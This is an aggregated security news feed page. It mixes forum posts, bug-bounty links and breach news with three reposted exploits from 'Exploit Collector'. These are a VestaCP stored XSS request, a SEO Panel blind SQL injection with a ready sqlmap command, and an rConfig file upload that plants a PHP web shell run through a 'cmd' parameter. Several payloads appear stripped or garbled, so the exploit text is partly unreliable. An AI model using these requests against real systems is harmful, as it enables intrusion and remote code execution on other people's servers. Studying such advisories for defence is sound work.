Hacking Articles
Thick Client Penetration Testing: Traffic Analysis

Traffic analysis is one of the crucial parts of any successful penetration test. In this article, we’re going to discuss some of the different techniques that can be used to analyze thick client applications. If a thick client using HTTP traffic then it is pretty straight forward to intercept the

The post Thick Client Penetration Testing: Traffic Analysis appeared first on Hacking Articles.

CVE-2021–26216
https://medium.com/@tuhin1729/cve-2021-26216-ffb33321dc91?source=rss------bug_bounty-5

# Exploit Title: SeedDMS 5.1.x is affected by cross-site request forgery (CSRF) in out.EditFolder.php
# Date: 15/03/21
# Exploit Author…Continue reading on Medium » (https://medium.com/@tuhin1729/cve-2021-26216-ffb33321dc91?source=rss------bug_bounty-5)

https://a.thumbs.redditmedia.com/pvYWHFEG_23QIIhPYaCYswZOVTxbePg36IoodIyBcY4.jpg submitted by /u/BoyoFPS
[link] [comments]

Deep Web
British Man Sentenced to 8 Years for Attempting to Manufacture & Sell Weapons on the Dark Web

https://b.thumbs.redditmedia.com/sXe41kGKtiGjeg0MJ1eCA8NBn3uNbORq4NwBR0QylNE.jpg submitted by /u/DarkNetDailydotcom
[link] [comments]

hacking: security in practice
Twitter Hacker sentenced to 3 years in prison - Eli rants

https://b.thumbs.redditmedia.com/pGIYfuYR-9p8z0fqEI4bVdRA3n9sTG6n8cX6TeusU7Y.jpg submitted by /u/yuyumprod
[link] [comments]

hacking: security in practice
What‘s the best beginner hacking book?

I‘m a beginner trying to get into the subject but I don‘t know where I should start and I heard that the best way to get into hacking are books.

submitted by /u/caratera
[link] [comments]

hacking: security in practice
Insecure exchange server box?

Does anyone have / know of a VM box already setup with an exchange server vulnerable to the hafnium vulnerabilities?

I'd like to test mitigations before running them on live systems but don't have an extra exchange server on hand..

submitted by /u/dannypas00
[link] [comments]

An Interesting Account Takeover!
https://medium.com/@mayank-01/an-interesting-account-takeover-3a33f42d609d?source=rss------bug_bounty-5

IDOR and Weak encryption leads to Account TakeoverContinue reading on Medium » (https://medium.com/@mayank-01/an-interesting-account-takeover-3a33f42d609d?source=rss------bug_bounty-5)

Dark Reading: Attacks/Breaches
Ransom Payments Have Nearly Tripled

In 2020, ransomware targeted the manufacturing sector, healthcare organizations, and construction companies, with the average ransom reaching $312,000, a report finds.

Dark Reading: Attacks/Breaches
What CISOs Can Learn From Big Breaches: Focus on the Root Causes

Address these six technical root causes of breaches in order to keep your company safer.

An Interesting Account Takeover!

IDOR and Weak encryption leads to Account TakeoverContinue reading on Medium »
Read more...

Exploit Collector
VestaCP 0.9.8 Cross Site Scripting

https://2.bp.blogspot.com/-7dI_F0yeiSk/WWlvAqxVj9I/AAAAAAAAIKQ/m4aOGdGGTmo7o3qANzxUijwjE_G1NHOSQCLcBGAs/s1600/h123.png
VestaCP version 0.9.8 suffers from a persistent cross site scripting vulnerability. Original discovery of persistent cross site scripting was discovered in this version in February of 2016 by Necmettin COSKUN.

MD5 | cab58700522938c23e6459b259e06362

Download
# Title: VestaCP 0.9.8 - 'v_interface' Add IP Stored XSS
# Date: 07.03.2021
# Author: Numan Türle
# Vendor Homepage: https://vestacp.com
# Software Link: https://myvestacp.com < 0.9.8-26-43
# Software Link: https://vestacp.com < 0.9.8-26
# Tested on: VestaCP

POST /add/ip/ HTTP/1.1
Host: TARGET:8083
Connection: close
Content-Length: 165
Cache-Control: max-age=0
Origin: https://TARGET:8083
Content-Type: application/x-www-form-urlencoded
User-Agent: USER-AGENT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://TARGET:8083/add/ip/
Accept-Encoding: gzip, deflate
Accept-Language: en,tr-TR;
Cookie: PHPSESSID=udiudv2k0707d6k3p3fi1n1qk0
sec-gpc: 1

token=04331c937aeb2d203889b3fb86fa75b2&ok=Add&v_ip=90.7.3.1&v_netmask=255.0.0.0&v_interface=&v_shared=on&v_owner=admin&v_name=&v_nat=&ok=Add

Source:packetstormsecurity.com

Exploit Collector
SEO Panel 4.8.0 SQL Injection

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
SEO Panel version 4.8.0 suffers from a remote blind SQL injection vulnerability.

MD5 | 344494c053a1a99889952df5b5c8c6af

Download
# Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection
# Date: 17/02/2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link: https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: 4.8.0
# Reference - https://github.com/seopanel/Seo-Panel/issues/209

Step 1 - Login to the SEO Panel with admin credentials.
Step 2 - Go to archive.php
Step 3 - Change "order_col" value to "*" and copy the request
Command: sqlmap -r request.txt --batch --level 5 --risk 3 --dbms MYSQL
--dbs --technique=T --flush-session


Source:packetstormsecurity.com

Exploit Collector
rConfig 3.9.6 Shell Upload

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
rConfig version 3.9.6 suffers from a remote shell upload vulnerability.

MD5 | 7068626a36bde3c6ba897ce4012fc020

Download
# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated)
# Date: 2021-03-17
# Exploit Author: Murat ŞEKER
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
# Version: rConfig v3.9.6
# Install scripts :
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Tested on: centOS 7
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall

# Description:
rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.

The following steps can be carried out in duplicating this vulnerability.

- Login the rConfig application with your credentials.
- Repeat

POST /lib/crud/vendors.crud.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254
Content-Length: 36619
Origin: https://localhost
Connection: close
Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform

-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="vendorName"

thisisrce
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
Content-Type: image/png

<?php
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="add"

add
-----------------------------122590832918963661283831488254
Content-Disposition: form-data; name="editid"
-----------------------------122590832918963661283831488254--
- Than go to http(s)://<server/images/vendor/file.php

Note: The file.php can be accessed without valid credentials.
If you change the <?phpto <?php

and navigate the http(s)://<server/images/vendor/file.php?cmd=id

The `id` command will execute on server.

Source:packetstormsecurity.com